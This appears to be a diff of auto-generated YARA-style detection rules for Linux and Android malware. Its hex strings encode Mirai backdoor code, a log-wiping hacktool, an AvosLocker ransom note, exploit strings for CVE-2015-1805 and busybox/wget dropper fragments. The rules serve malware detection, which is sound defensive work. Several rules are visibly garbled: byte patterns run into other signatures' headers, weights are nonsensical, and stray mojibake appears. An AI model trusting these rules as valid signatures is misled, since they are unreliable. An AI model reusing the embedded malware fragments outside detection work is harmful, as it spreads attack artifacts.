meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,06 00 06 00 08 00 21 " @@ -274671,7 +290671,7 @@ rule _InfrastructureShared_20861{ ((#a_46_0 & 1)*16675+(#a_79_1 & 1)*26988+(#a_41_4 & 1)*8448+(#a_24_5 & 1)*4660+(#a_04_6 & 1)*513+(#a_41_7 & 1)*8448) >=6 } -rule _InfrastructureShared_20862{ +rule _InfrastructureShared_22122{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " @@ -274682,7 +290682,7 @@ rule _InfrastructureShared_20862{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*272) >=2 } -rule _InfrastructureShared_20863{ +rule _InfrastructureShared_22123{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " @@ -274693,7 +290693,29 @@ rule _InfrastructureShared_20863{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28603) >=2 } -rule _InfrastructureShared_20864{ +rule _InfrastructureShared_22124{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 4d 69 72 61 69 2e 4c 43 21 4d 54 42 00 01 00 40 01 01 18 a0 e1 ff 18 01 e2 00 1c 81 e1 ff 30 03 e2 02 24 a0 e1 03 10 81 e1 ff 2c 02 e2 01 20 82 e1 ff 3c 02 e2 ff } //21539 + $a_03_1 = {34 a0 e1 20 04 a0 e1 22 0c 80 e1 02 3c 83 e1 00 00 83 e1 0e f0 a0 e1 01 00 50 01 93 10 8d e2 01 20 a0 e3 05 00 a0 e1 ad ff ff eb 01 00 50 e3 04 00 a0 e3 8a ff ff 1b 93 30 dd e5 04 44 83 e1 7c 30 9f e5 03 00 54 e1 f3 ff ff 1a 0d 10 a0 e1 80 20 a0 e3 05 00 a0 e1 a1 ff ff eb 00 20 50 e2 0d 40 a0 e1 0d 10 a0 e1 07 00 a0 e1 00 00 8c c2 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 4d 69 72 61 69 2e 4c 44 21 4d 54 42 00 01 00 48 01 00 30 a0 e3 20 10 a0 e3 00 30 8d e5 03 00 00 ea 43 3f 8d e2 01 21 83 e0 00 30 e0 e3 08 31 02 e5 01 10 51 e2 f9 ff ff 5a 00 30 a0 e3 03 20 a0 e1 0d 10 a0 e1 06 00 a0 e3 84 30 8d e5 f3 01 00 eb da ff ff ea 02 } //520 + condition: + ((#a_4c_0 & 1)*21539+(#a_03_1 & 1)*520) >=2 + +} +rule _InfrastructureShared_22125{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 4d 69 72 61 69 2e 4c 44 21 4d 54 42 00 01 00 48 01 00 30 a0 e3 20 10 a0 e3 00 30 8d e5 03 00 00 ea 43 3f 8d e2 01 21 83 e0 00 30 e0 e3 08 31 02 e5 01 10 51 e2 f9 } //21539 + $a_00_1 = {30 a0 e3 03 20 a0 e1 0d 10 a0 e1 06 00 a0 e3 84 30 8d e5 f3 01 00 eb da ff ff ea 02 00 53 e3 01 00 48 01 20 10 a0 13 02 00 00 1a 5c 00 00 ea 00 30 a0 e3 88 30 02 e5 01 10 51 e2 65 3f 8d e2 01 21 83 e0 f9 ff ff 5a 43 6f 8d e2 00 50 a0 e3 06 00 a0 e1 11 10 a0 e3 8c c1 8d } //-1 + condition: + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*-1) >=2 + +} +rule _InfrastructureShared_22126{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 06 00 21 " @@ -274708,22 +290730,50 @@ rule _InfrastructureShared_20864{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*0) >=5 } -rule _InfrastructureShared_20865{ +rule _InfrastructureShared_22127{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 08 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 42 6c 75 65 53 6e 61 69 6c 2e 45 21 64 68 61 00 01 00 10 80 01 55 6e 50 61 63 6b 48 65 61 64 65 72 44 61 74 61 01 00 14 80 01 64 69 61 6c 57 69 74 68 44 69 61 6c 65 72 43 6c 69 65 6e 74 01 } //16675 + $a_01_1 = {53 65 6e 64 50 54 59 43 4d 44 01 00 0a 80 01 2e 47 65 74 48 74 74 70 57 73 01 00 0f 80 01 2e 53 74 61 72 74 53 6f 66 74 45 74 68 65 72 01 00 0e 80 01 2e 53 74 6f 70 53 6f 66 74 45 74 68 65 72 01 00 0b 80 01 2e 45 78 65 63 75 74 65 53 68 00 01 00 11 80 01 63 6f 6d 6d 61 6e 64 2e 52 75 6e 53 68 65 6c 6c 00 00 00 8c c4 00 00 0d 00 0d 00 06 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c } //2560 + $a_6e_2 = {78 2f 4c 6f 67 43 6c 65 61 6e 65 72 2e 43 21 64 68 61 00 0a 00 08 01 6d 6f 64 41 55 44 49 54 01 00 1b 01 63 6c 65 61 6e 69 6e 67 20 6c 6f 67 73 20 66 69 6c 65 20 66 69 6e 69 73 68 65 64 01 00 19 01 63 6c 65 61 6e 69 6e 67 20 6c 61 73 74 6c 6f 67 20 66 69 6e 69 73 68 65 64 01 00 16 01 63 6c 65 61 6e 69 6e 67 20 77 } //19514 + $a_20_3 = {69 6e 69 73 68 65 64 01 00 1b 01 63 6c 65 61 6e 69 6e 67 20 75 74 6d 70 20 66 69 6c 65 20 66 69 6e 69 73 68 65 64 01 00 11 01 75 73 61 67 65 20 3a 2e 2f 7a 61 70 20 3c 69 70 3e 00 00 8c c5 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 54 65 74 61 6e 75 73 2e 41 21 4d 54 42 00 01 00 47 01 31 c9 39 c3 } //28020 + $a_b8_4 = {00 00 00 0f 42 c8 84 c9 75 0c 41 39 d7 0f 95 c1 0f 82 ae 02 00 00 80 f9 01 0f 85 a5 02 00 00 44 89 6c 24 10 89 6c 24 14 44 89 74 24 18 ba 80 51 01 00 48 8d 7c 24 60 48 8d 74 24 10 31 c9 01 00 4d 01 8d 47 ff 31 d2 b9 00 00 00 00 89 c6 85 ff 0f 8e cb 00 00 00 85 ff 0f 8e ed 00 00 00 48 63 f6 48 69 fe 1f 85 eb 51 49 89 f8 49 c1 e8 3f 48 c1 ff 25 44 01 c7 44 69 c6 b5 05 00 00 41 c1 f8 02 45 89 e9 41 c1 e9 04 41 81 e1 ff 01 00 00 00 00 8c c7 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 4b 69 74 65 53 68 69 65 6c 64 2e 41 21 4d 54 42 00 01 00 } //-27377 + $a_0b_5 = {48 83 bc 24 d0 01 00 00 00 74 0e 31 ff e8 e7 0b 00 00 0f 1f 80 00 00 00 00 31 d2 31 f6 48 8d bc 24 10 01 00 00 e8 7f 0b 00 00 89 c5 85 c0 78 db ba ff 0f 00 00 48 8d b4 24 20 02 00 00 89 c7 e8 05 0b 00 00 85 c0 78 c3 48 98 01 00 47 01 c6 84 04 20 02 00 00 00 e8 80 0b 00 00 b8 d7 ff ff ff 31 c9 89 c2 eb 0c 0f 1f 44 00 00 0f b6 91 d0 19 20 00 8d 41 83 31 d0 48 } //332 + $a_83_6 = {01 88 44 14 55 48 83 f9 0b 75 e3 c6 44 24 5f 00 48 8d ac 24 20 02 00 00 00 00 8c c7 00 00 04 00 04 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 4a 61 67 67 65 64 54 6f 65 2e 41 21 64 68 61 00 01 } //-11933 + $a_5b_7 = {5d } //4864 ] + condition: + ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*2560+(#a_6e_2 & 1)*19514+(#a_20_3 & 1)*28020+(#a_b8_4 & 1)*-27377+(#a_0b_5 & 1)*332+(#a_83_6 & 1)*-11933+(#a_5b_7 & 1)*4864) >=2 + +} +rule _InfrastructureShared_22128{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,0d 00 0d 00 06 00 21 " strings : $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 4c 6f 67 43 6c 65 61 6e 65 72 2e 43 21 64 68 61 00 0a 00 08 01 6d 6f 64 41 55 44 49 54 01 00 1b 01 63 6c 65 61 6e 69 6e 67 20 6c 6f 67 73 20 66 69 6c 65 20 66 69 6e 69 73 68 65 64 01 } //16675 $a_63_1 = {65 } //6400 e - $a_6e_2 = {20 6c 61 73 74 6c 6f 67 20 66 69 6e 69 73 68 65 64 01 00 16 01 63 6c 65 61 6e 69 6e 67 20 77 74 6d 70 20 66 69 6e 69 73 68 65 64 01 00 1b 01 63 6c 65 61 6e 69 6e 67 20 75 74 6d 70 20 66 69 6c 65 20 66 69 6e 69 73 68 65 64 01 00 11 01 75 73 61 67 65 20 3a 2e 2f 7a 61 70 20 3c 69 70 3e 00 00 8c c7 00 00 02 00 02 00 } //28257 - $a_23_3 = {45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 4b 69 74 65 53 68 69 65 6c 64 2e 41 21 4d 54 42 00 } //2 - $a_01_4 = {78 0b 48 83 bc 24 d0 01 00 00 00 74 0e 31 ff e8 e7 0b 00 00 0f 1f 80 00 00 00 00 31 d2 31 f6 48 8d bc 24 10 01 00 00 e8 7f 0b 00 00 89 c5 85 c0 78 db ba ff 0f 00 00 48 8d b4 24 20 02 00 00 89 c7 e8 05 0b 00 00 85 c0 78 c3 48 98 } //1 - $a_01_5 = {c6 84 04 20 02 00 00 00 e8 80 0b 00 00 b8 d7 ff ff ff 31 c9 89 c2 eb 0c 0f 1f 44 00 00 0f b6 91 d0 19 20 00 8d 41 83 31 d0 48 63 d1 48 83 c1 01 88 44 14 55 48 83 f9 0b 75 e3 c6 44 24 5f 00 48 8d ac 24 20 02 00 00 } //1 + $a_6e_2 = {20 6c 61 73 74 6c 6f 67 20 66 69 6e 69 73 68 65 64 01 00 16 01 63 6c 65 61 6e 69 6e 67 20 77 74 6d 70 20 66 69 6e 69 73 68 65 64 01 00 1b 01 63 6c 65 61 6e 69 6e 67 20 75 74 6d 70 20 66 69 6c 65 20 66 69 6e 69 73 68 65 64 01 00 11 01 75 73 61 67 65 20 3a 2e 2f 7a 61 70 20 3c 69 70 3e 00 00 8c c5 00 00 02 00 02 00 } //28257 + $a_23_3 = {45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 54 65 74 61 6e 75 73 2e 41 21 4d 54 42 00 01 00 47 } //2 + $a_39_4 = {0f 95 c1 b8 ff 00 00 00 0f 42 c8 84 c9 75 0c 41 39 d7 0f 95 c1 0f 82 ae 02 00 00 80 f9 01 0f 85 a5 02 00 00 44 89 6c 24 10 89 6c 24 14 44 89 74 24 18 ba 80 51 01 00 48 8d 7c 24 60 48 8d 74 24 10 31 c9 01 00 4d 01 8d 47 ff 31 d2 b9 00 00 00 00 89 c6 85 ff 0f 8e cb 00 00 00 85 ff 0f 8e ed 00 00 00 48 63 f6 48 69 fe 1f 85 eb 51 49 89 f8 49 c1 e8 3f 48 c1 ff 25 44 01 c7 44 69 c6 b5 05 00 00 41 c1 f8 02 45 89 e9 41 c1 e9 04 41 81 e1 ff 01 00 00 00 00 8c c7 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 4b 69 74 65 53 68 69 65 6c 64 2e 41 21 4d 54 42 00 01 00 4c 01 78 } //12545 + $a_bc_5 = {d0 01 00 00 00 74 0e 31 ff e8 e7 0b 00 00 0f 1f 80 00 00 00 00 31 d2 31 f6 48 8d bc 24 10 01 00 00 e8 7f 0b 00 00 89 c5 85 c0 78 db ba ff 0f 00 00 48 8d b4 24 20 02 00 00 89 c7 e8 05 0b 00 00 85 c0 78 c3 48 98 01 00 47 01 c6 84 04 20 02 00 00 00 e8 80 0b 00 00 b8 d7 ff ff ff 31 c9 89 c2 eb 0c 0f 1f 44 00 00 0f b6 91 d0 19 20 00 8d 41 83 31 d0 48 63 d1 48 83 c1 01 88 44 14 55 48 83 f9 0b 75 } //18443 condition: - ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*6400+(#a_6e_2 & 1)*28257+(#a_23_3 & 1)*2+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=13 + ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*6400+(#a_6e_2 & 1)*28257+(#a_23_3 & 1)*2+(#a_39_4 & 1)*12545+(#a_bc_5 & 1)*18443) >=13 } -rule _InfrastructureShared_20866{ +rule _InfrastructureShared_22129{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 54 65 74 61 6e 75 73 2e 41 21 4d 54 42 00 01 00 47 01 31 c9 39 c3 0f 95 c1 b8 ff 00 00 00 0f 42 c8 84 c9 75 0c 41 39 d7 0f 95 c1 0f 82 ae 02 00 00 80 f9 01 0f 85 a5 02 } //21539 + $a_89_1 = {24 10 89 6c 24 14 44 89 74 24 18 ba 80 51 01 00 48 8d 7c 24 60 48 8d 74 24 10 31 c9 01 00 4d 01 8d 47 ff 31 d2 b9 00 00 00 00 89 c6 85 ff 0f 8e cb 00 00 00 85 ff 0f 8e ed 00 00 00 48 63 f6 48 69 fe 1f 85 } //0 + condition: + ((#a_4c_0 & 1)*21539+(#a_89_1 & 1)*0) >=2 + +} +rule _InfrastructureShared_22130{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " @@ -274733,7 +290783,7 @@ rule _InfrastructureShared_20866{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_20867{ +rule _InfrastructureShared_22131{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 06 00 21 " @@ -274747,7 +290797,7 @@ rule _InfrastructureShared_20867{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*25973+(#a_5d_2 & 1)*23297+(#a_20_4 & 1)*11099+(#a_72_5 & 1)*31073) >=4 } -rule _InfrastructureShared_20868{ +rule _InfrastructureShared_22132{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 07 00 21 " @@ -274761,7 +290811,7 @@ rule _InfrastructureShared_20868{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*12093+(#a_41_2 & 1)*8448+(#a_2f_3 & 1)*18040+(#a_4a_4 & 1)*30767) >=4 } -rule _InfrastructureShared_20869{ +rule _InfrastructureShared_22133{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 01 00 21 " @@ -274771,7 +290821,7 @@ rule _InfrastructureShared_20869{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_20870{ +rule _InfrastructureShared_22134{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,07 00 07 00 03 00 21 " @@ -274782,7 +290832,7 @@ rule _InfrastructureShared_20870{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*29284) >=7 } -rule _InfrastructureShared_20871{ +rule _InfrastructureShared_22135{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,08 00 08 00 05 00 21 " @@ -274796,7 +290846,7 @@ rule _InfrastructureShared_20871{ ((#a_4c_0 & 1)*21539+(#a_6d_1 & 1)*25135+(#a_5f_2 & 1)*28521+(#a_74_3 & 1)*30061+(#a_46_4 & 1)*16675) >=8 } -rule _InfrastructureShared_20872{ +rule _InfrastructureShared_22136{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 04 00 21 " @@ -274804,24 +290854,37 @@ rule _InfrastructureShared_20872{ $a_46_0 = {52 61 6e 73 6f 6d 3a 4c 69 6e 75 78 2f 41 76 6f 73 4c 6f 63 6b 65 72 2e 41 00 02 00 11 80 01 2e 28 6b 65 79 7c 61 76 6f 73 6c 69 6e 75 78 29 24 02 00 51 80 01 49 6e 20 6f 72 64 65 72 20 74 6f 20 64 65 63 72 79 70 74 20 79 6f 75 } //16675 $a_69_1 = {65 73 2c 20 79 6f 75 20 6d 75 73 74 20 70 61 79 20 66 6f 72 20 74 68 65 20 64 65 63 72 79 70 74 69 6f 6e 20 6b 65 79 20 26 20 61 70 70 6c 69 63 61 74 69 6f 6e 02 00 1e 80 01 59 6f 75 72 20 66 69 6c 65 73 20 68 61 76 65 20 62 65 65 6e 20 65 6e 63 72 79 70 74 65 64 01 00 16 80 01 65 73 78 63 6c 69 20 76 6d } //8306 $a_6f_2 = {65 73 73 20 6b 69 6c 6c 00 00 8c d2 00 00 04 00 04 00 03 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 4d 69 72 61 69 2e 4d 43 21 4d 54 42 00 03 00 0c 00 38 31 63 34 36 30 33 36 77 67 65 74 01 00 16 00 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 32 38 31 63 34 36 30 33 36 01 00 7a 02 b4 20 1b e5 90 01 02 a0 e3 c3 3a a0 e1 02 } //28704 - $a_14_3 = {4b e2 0c 20 82 e0 03 30 82 e0 00 30 93 e5 03 00 a0 e1 90 02 02 18 00 eb 00 30 a0 e1 b0 30 0b e5 b0 30 1b e5 00 00 53 e3 0e 00 00 0a 7c 31 1b e5 20 10 93 e5 b4 20 1b e5 90 01 02 a0 e3 c3 3a a0 e1 02 21 a0 e1 14 00 4b e2 00 20 82 e0 03 30 82 e0 00 30 93 e5 01 00 a0 e1 03 10 a0 e1 b0 20 1b e5 00 30 a0 e3 90 00 00 00 8c d4 00 00 02 00 02 00 05 00 21 23 54 45 4c 3a 45 78 70 6c 6f 69 74 3a 41 6e 64 72 6f 69 64 2f 43 56 45 2d 32 30 31 35 2d 31 38 30 35 00 01 00 25 01 5b 2b 5d 20 43 68 61 6e 67 69 6e 67 20 66 64 20 6c 69 6d 69 74 20 66 72 6f 6d 20 25 6c 75 20 74 6f 20 25 6c 75 01 00 16 01 53 74 61 72 74 20 6d 61 70 2f 75 6e 6d 61 70 20 74 68 72 65 61 64 01 00 24 01 43 68 61 } //-24543 + $a_14_3 = {4b e2 0c 20 82 e0 03 30 82 e0 00 30 93 e5 03 00 a0 e1 90 02 02 18 00 eb 00 30 a0 e1 b0 30 0b e5 b0 30 1b e5 00 00 53 e3 0e 00 00 0a 7c 31 1b e5 20 10 93 e5 b4 20 1b e5 90 01 02 a0 e3 c3 3a a0 e1 02 21 a0 e1 14 00 4b e2 00 20 82 e0 03 30 82 e0 00 30 93 e5 01 00 a0 e1 03 10 a0 e1 b0 20 1b e5 00 30 a0 e3 90 00 00 00 8c d3 00 00 0d 00 0d 00 06 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 53 68 61 64 79 4d 6f 6c 65 2e 41 21 64 68 61 00 05 00 28 01 76 6f 76 61 36 31 36 2f 73 63 72 65 65 6e 73 68 6f 74 40 76 30 2e 30 2e 30 2d 32 30 32 32 30 38 30 31 30 31 30 35 30 31 05 00 23 01 70 61 72 61 6c 6c 65 6c 73 2f 69 6e 74 65 72 6e 61 6c 2f 65 78 65 63 75 74 } //-24543 condition: ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*8306+(#a_6f_2 & 1)*28704+(#a_14_3 & 1)*-24543) >=3 } -rule _InfrastructureShared_20873{ +rule _InfrastructureShared_22137{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 03 00 21 " strings : $a_46_0 = {42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 4d 69 72 61 69 2e 4d 43 21 4d 54 42 00 03 00 0c 00 38 31 63 34 36 30 33 36 77 67 65 74 01 00 16 00 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 32 38 31 63 34 36 30 33 36 01 00 7a 02 b4 20 } //16675 - $a_01_1 = {02 a0 e3 c3 3a a0 e1 02 21 a0 e1 14 c0 4b e2 0c 20 82 e0 03 30 82 e0 00 30 93 e5 03 00 a0 e1 90 02 02 18 00 eb 00 30 a0 e1 b0 30 0b e5 b0 30 1b e5 00 00 53 e3 0e 00 00 0a 7c 31 1b e5 20 10 93 e5 b4 20 1b e5 90 01 02 a0 e3 c3 3a a0 e1 02 21 a0 e1 14 00 4b e2 00 20 82 e0 03 30 82 e0 00 30 93 e5 01 00 a0 e1 03 10 a0 e1 b0 20 1b e5 00 30 a0 e3 90 00 00 00 8c d4 00 00 02 00 02 00 05 00 21 23 54 45 4c 3a 45 78 70 6c 6f 69 74 3a 41 6e } //-6885 - $a_69_2 = {2f 43 56 45 2d 32 30 31 35 2d 31 38 30 35 00 01 00 25 01 5b 2b 5d 20 43 68 61 6e 67 69 6e 67 20 66 64 20 6c 69 6d 69 74 20 66 72 6f 6d 20 25 6c 75 20 74 6f 20 25 6c 75 01 00 16 01 53 74 61 72 74 20 6d 61 70 2f 75 6e 6d 61 70 20 74 68 72 65 61 64 01 00 24 01 43 68 61 6e 67 69 6e 67 20 70 72 6f 63 65 73 73 20 70 72 69 6f 72 69 74 79 } //29284 + $a_01_1 = {02 a0 e3 c3 3a a0 e1 02 21 a0 e1 14 c0 4b e2 0c 20 82 e0 03 30 82 e0 00 30 93 e5 03 00 a0 e1 90 02 02 18 00 eb 00 30 a0 e1 b0 30 0b e5 b0 30 1b e5 00 00 53 e3 0e 00 00 0a 7c 31 1b e5 20 10 93 e5 b4 20 1b e5 90 01 02 a0 e3 c3 3a a0 e1 02 21 a0 e1 14 00 4b e2 00 20 82 e0 03 30 82 e0 00 30 93 e5 01 00 a0 e1 03 10 a0 e1 b0 20 1b e5 00 30 a0 e3 90 00 00 00 8c d3 00 00 0d 00 0d 00 06 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 4c } //-6885 + $a_78_2 = {53 68 61 64 79 4d 6f 6c 65 2e 41 21 64 68 61 00 05 00 28 01 76 6f 76 61 36 31 36 2f 73 63 72 65 65 6e 73 68 6f 74 40 76 30 2e 30 2e 30 2d 32 30 32 32 30 38 30 31 30 31 30 35 30 31 05 00 23 01 70 61 72 61 6c 6c 65 6c 73 2f 69 6e 74 65 72 6e 61 6c 2f 65 78 65 63 75 74 6f 72 2e 45 78 65 63 75 74 65 01 00 12 01 75 70 64 61 74 65 49 64 65 6e 74 69 74 79 } //28265 condition: - ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-6885+(#a_69_2 & 1)*29284) >=4 + ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-6885+(#a_78_2 & 1)*28265) >=4 } -rule _InfrastructureShared_20874{ +rule _InfrastructureShared_22138{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,0d 00 0d 00 06 00 21 " + + strings : + $a_46_0 = {42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 53 68 61 64 79 4d 6f 6c 65 2e 41 21 64 68 61 00 05 00 28 01 76 6f 76 61 36 31 36 2f 73 63 72 65 65 6e 73 68 6f 74 40 76 30 2e 30 2e 30 2d 32 30 32 32 30 38 30 31 30 31 30 35 30 31 05 } //16675 慂正潤牯䰺湩硵匯慨祤潍敬䄮搡慨Ԁ⠀瘁癯㙡㘱猯牣敥獮潨䁴ぶ〮〮㈭㈰〲〸〱〱〵Ա + $a_70_1 = {72 } //8960 r + $a_65_2 = {73 2f 69 6e 74 65 72 6e 61 6c 2f 65 78 65 63 75 74 6f 72 2e 45 78 65 63 75 74 65 01 00 12 01 75 70 64 61 74 65 49 64 65 6e 74 69 74 79 46 69 6c 65 01 00 0e 01 6d 61 6b 65 53 63 72 65 65 6e 73 68 6f 74 01 00 0e 01 73 61 76 65 53 63 72 65 65 6e 73 68 6f 74 01 00 15 01 6d 61 69 6e 2e 67 65 74 52 61 6e 64 6f 6d 54 69 6d 65 6f } //27745 + $a_00_5 = {05 00 } //2 + condition: + ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*8960+(#a_65_2 & 1)*27745+(#a_00_5 & 1)*2) >=13 + +} +rule _InfrastructureShared_22139{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 05 00 21 " @@ -274835,7 +290898,7 @@ rule _InfrastructureShared_20874{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*30060+(#a_61_2 & 1)*21249+(#a_00_3 & 1)*26483+(#a_00_4 & 1)*26724) >=2 } -rule _InfrastructureShared_20875{ +rule _InfrastructureShared_22140{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 06 00 21 " @@ -274850,7 +290913,7 @@ rule _InfrastructureShared_20875{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*8295+(#a_6e_2 & 1)*26988+(#a_61_3 & 1)*25924+(#a_74_4 & 1)*25966+(#a_39_5 & 1)*8300) >=5 } -rule _InfrastructureShared_20876{ +rule _InfrastructureShared_22141{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 03 00 21 " @@ -274862,7 +290925,7 @@ rule _InfrastructureShared_20876{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*30049+(#a_69_2 & 1)*8304) >=2 } -rule _InfrastructureShared_20877{ +rule _InfrastructureShared_22142{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 07 00 21 " @@ -274878,7 +290941,7 @@ rule _InfrastructureShared_20877{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*28514+(#a_00_2 & 1)*-29696+(#a_00_3 & 1)*-29696+(#a_00_4 & 1)*-29696+(#a_00_5 & 1)*-29696+(#a_00_6 & 1)*-29696) >=4 } -rule _InfrastructureShared_20878{ +rule _InfrastructureShared_22143{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,10 00 10 00 0b 00 21 " @@ -274895,7 +290958,7 @@ rule _InfrastructureShared_20878{ ((#a_4c_0 & 1)*21539+(#a_68_1 & 1)*29793+(#a_43_3 & 1)*18432+(#a_00_4 & 1)*110+(#a_00_5 & 1)*110+(#a_74_6 & 1)*26982+(#a_6e_7 & 1)*27755+(#a_6e_9 & 1)*28008) >=16 } -rule _InfrastructureShared_20879{ +rule _InfrastructureShared_22144{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 07 00 21 " @@ -274910,7 +290973,7 @@ rule _InfrastructureShared_20879{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*258+(#a_07_2 & 1)*-28577+(#a_00_4 & 1)*-29696+(#a_00_5 & 1)*-29696+(#a_00_6 & 1)*-29696) >=1 } -rule _InfrastructureShared_20880{ +rule _InfrastructureShared_22145{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 05 00 21 " @@ -274924,7 +290987,7 @@ rule _InfrastructureShared_20880{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*28783+(#a_77_2 & 1)*30068+(#a_6e_3 & 1)*8293+(#a_6f_4 & 1)*28719) >=5 } -rule _InfrastructureShared_20881{ +rule _InfrastructureShared_22146{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 06 00 21 " @@ -274938,7 +291001,7 @@ rule _InfrastructureShared_20881{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*25966+(#a_6e_2 & 1)*30064+(#a_44_3 & 1)*4132+(#a_57_5 & 1)*4792) >=5 } -rule _InfrastructureShared_20882{ +rule _InfrastructureShared_22147{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 01 00 21 " @@ -274948,7 +291011,7 @@ rule _InfrastructureShared_20882{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_20883{ +rule _InfrastructureShared_22148{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " @@ -274959,7 +291022,7 @@ rule _InfrastructureShared_20883{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*212) >=2 } -rule _InfrastructureShared_20884{ +rule _InfrastructureShared_22149{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " @@ -274970,23 +291033,34 @@ rule _InfrastructureShared_20884{ ((#a_4c_0 & 1)*21539+(#a_21_1 & 1)*-18093) >=2 } -rule _InfrastructureShared_20885{ +rule _InfrastructureShared_22150{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 07 00 21 " strings : $a_46_0 = {45 52 3a 42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 54 72 69 